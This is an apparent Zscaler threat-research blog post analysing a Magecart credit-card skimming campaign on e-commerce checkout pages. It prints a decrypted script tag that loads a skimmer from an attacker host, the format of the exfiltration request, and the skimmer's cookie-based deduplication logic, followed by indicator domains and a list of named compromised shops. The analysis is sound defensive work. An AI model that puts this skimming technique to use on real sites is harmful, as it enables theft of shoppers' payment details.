Zscaler to Expand Zero Trust Exchange Platform's AI Cloud with Data Fabric Purpose-built for Security

Zscaler Blog

Get the latest Zscaler blog updates in your inbox

Subscribe
Security Research

Magecart activity and campaign enhancements

Magecart is a hacker group known for skimming credit or debit card details by injecting malicious JavaScript code into e-commerce sites. Back in September 2018, the Zscaler ThreatLabZ research team published a blog on Magecart activity that analyzed its attack methods and evasion tactics. We are now following up on that blog to report on recent activity we’ve seen and some enhancements in the campaign.
 

Magecart attack chain

In the recent campaign, we noticed a change in the attack chain. One example is the use of heavily obfuscated JavaScript with encrypted data. Also, in some cases, the malicious JavaScript code is now being injected directly in the compromised e-commerce sites, whereas in earlier attacks, the malicious code was injected remotely.

Image

Fig 1: Hits of compromised websites in the last three months

 

1. Injecting heavily obfuscated malicious JavaScript dynamically

The below credit card stealer JavaScript payload is dynamically loaded when the victim presses the checkout button after loading the cart.

Image

Fig 2: Heavily obfuscated malicious JavaScript code injected on the checkout page
 

The ThreatLabZ team’s smart crawler with heuristic detection shows that various JavaScript functions are obfuscated in the payload.

Image

Fig 3: Crawler’s heuristic detection

Image

Fig 4: Malicious script after three levels of deobfuscation by the crawler.

 

Analysis of the skimming toolkit

The above discussed malicious script looks for the keywords “onepage|checkout|onestep|firecheckout” in the URL and, if found, injects another script from hxxps://dnsden[.]biz/a.js.

Image

Fig 5: Script injected from hxxps://dnsden[.]biz
 

The above injected obfuscated script hxxps://dnsden[.]biz/a.js contains encrypted data which is decrypted by the RC4 algorithm in the runtime.

 Image

Fig 6: Use of RC4 algorithm in ‘a.js’
 

The encrypted data in ‘a.js’ script after RC4 decryption ends up injecting the main skimming script, which is responsible for extracting and sending the victim's credit card details back to the attacker.

Encrypted data - w5rDvcOKwrnCnsKYcWHCgAcaUsOFVcOQXnZpw48KfjZ/CMObMMOiwq7Cm1XDvFDCl8KBEsKRE8Oyw6krWcK0wo1Xw7J+w6/DknoJasKVScKZOhzCoRI=

Decrypted data - <script src="hxxps://dnsden[.]biz/js/universal.js"></script>

The ‘universal.js’ is also obfuscated and has the same encryption algorithm as ‘a.js’. After decryption, it calls a function on the form change event and collects all the payment info entered by the victim.

Image

Fig 7: Collecting payment card details


Image

Fig 8: Sends victim’s credit card details to C&C
 

Image

Fig 9: POST request with the stolen credit card details
 

info=Base64(stolen_data)&hostname=compromised_site&key=random_key

Stolen data includes billing and payment details.

Image

Fig 10: Decoded stolen data

 

2. Injecting malicious JavaScript directly in the compromised site
 

Image

Fig 11: Malicious JavaScript code hosted on the compromised e-commerce site is injected
 

Image

Fig 12: Malicious JavaScript code hosted on a compromised site for skimming payment card details

 

Analysis of the skimming toolkit

The malicious JavaScript code first checks for the two cookie names “$s” and “$sent”; if these cookies are set, data is stored into variable after decoding. These cookie values are referred to each time any payment card details are being entered, and values are updated if the payment card details are new.Image

Fig 13: Getting values from the two cookie names “$s” and “$sent”
 

To get payment card details, data from all the tags, such as input, select, and text area, are stored and the script undergoes a basic length check on the card details.

Image

Fig 14: Validating length of payment card details
 

After validating payment card details, a hash of the card details is calculated and checked to determine if the same hash value is available in the data retrieved from the cookie “$sent” earlier. Payment details are dropped if any hash match is found.

Image

Fig 15: Checking the hash value of card details against data retrieved earlier from the cookie
 

Each time any new payment card details are entered, the details are sent to the attacker and the hash value for these details is appended to the cookie value “$sent”;  this cookie value is used to check if the details being entered are new.

Image

Fig 16: Value of the cookie “$sent” stored in the victim's browser
 

On decoding the above Base64 encoded value of the cookie “$sent,” we get the MD5 array of the payment card details. By storing the encrypted payment card details as a cookie, the attacker has added the ability to drop duplicate details being sent to the attacker, as payment details are always checked against the cookie value and only unique card details are sent to the attacker.

After all the above checks are encoded, the payment card details are sent to the attacker-controlled site.

Image

Fig 17: GET request with the stolen information
 

In a similar skimming toolkit, along with the above-discussed cookie logic, attackers are injecting fake payment card fields into the compromised site and hiding legitimate fields once the victim selects credit card as the payment method.

Image

Fig 18: Fake credit card details field and malicious JavaScript file
 

Image

Fig 19: HTML code for the fake credit card details fields in the malicious script
 

Image

Fig 20: Malicious script injecting the fake credit card details fields

 

Image

Image

Fig 21: Above, injected credit card fields; below, legitimate credit card fields
 

The injected and legitimate credit card fields look similar, but from the HTML input field attributes (ID and type), there are noticeable differences. In the injected fields, the card number ID is "_ccnumber" and the type is "text," while in a legitimate card number, the ID is "credit-card-number" and the type is "tel."

 

IOCs

dnsden[.]biz
jquery-bin[.]com/gate[.]php
lumbertrans[.]com/errors/default/gate[.]php
luxbagsgirl[.]com/errors/default/gate[.]php
jsreload[.]pw/gate[.]php
saterday-race[.]com/gate[.]php
jqueryextd[.]at/gate[.]php
routingzen[.]com/gate[.]php
mz-at-shop[.]de/errors/default/gate[.]php
93[.]187[.]129[.]249/gate[.]php
developer-js[.]info/gate[.]php
google-anaiytic[.]com/fonts[.]googleapis/gate[.]php
magento-analytics[.]com/gate[.]php
gtows[.]com

 

Compromised sites

shop.triggerbrothers[.]com[.]au
custommagnetsdirect[.]com
lumbertrans[.]com
sunbuggy[.]com
saterday-race[.]com
windblox[.]com
cakedecoratingsolutions[.]com[.]au
network-ed[.]com[.]au
adooq[.]com
mz-at-shop[.]des
reddotarms[.]com
sprucela[.]com/
t[.]cltradingfl[.]com
worldcraftindustries[.]com
reallifecatholic[.]com
wbminternational[.]com
whistlerrides[.]ca/
smartsilk[.]com/
classictruckglass[.]com
oconnellsclothing[.]com/skin/
purefruittechnologies[.]com/
cornerstone-arch[.]com
minitruckusa[.]com
magformers[.]com
ravishingcosmetics[.]com
alamoshoes[.]com/
salonsavings[.]com/
bathroompanelsuperstore[.]com
britishfitness[.]com
bumperworksonline[.]com
niftyconcept[.]com
cornerstone-arch[.]com
decorprice[.]com

 

Conclusion

These new developments in an ongoing campaign illustrate some of the ways that attackers are continuously enhancing their methods for stealing sensitive information like login credentials, bank or payment card details, personally identifiable information, and so on. The Magecart campaign has been active for a long time and continues to evolve and hone its techniques to get better at stealing payment card information and related data. 

Zscaler ThreatLabZ actively tracks such campaigns and protects customers from these types of attacks.

 

form submtited
Thank you for reading

Was this post useful?

dots pattern

Get the latest Zscaler blog updates in your inbox

By submitting the form, you are agreeing to our privacy policy.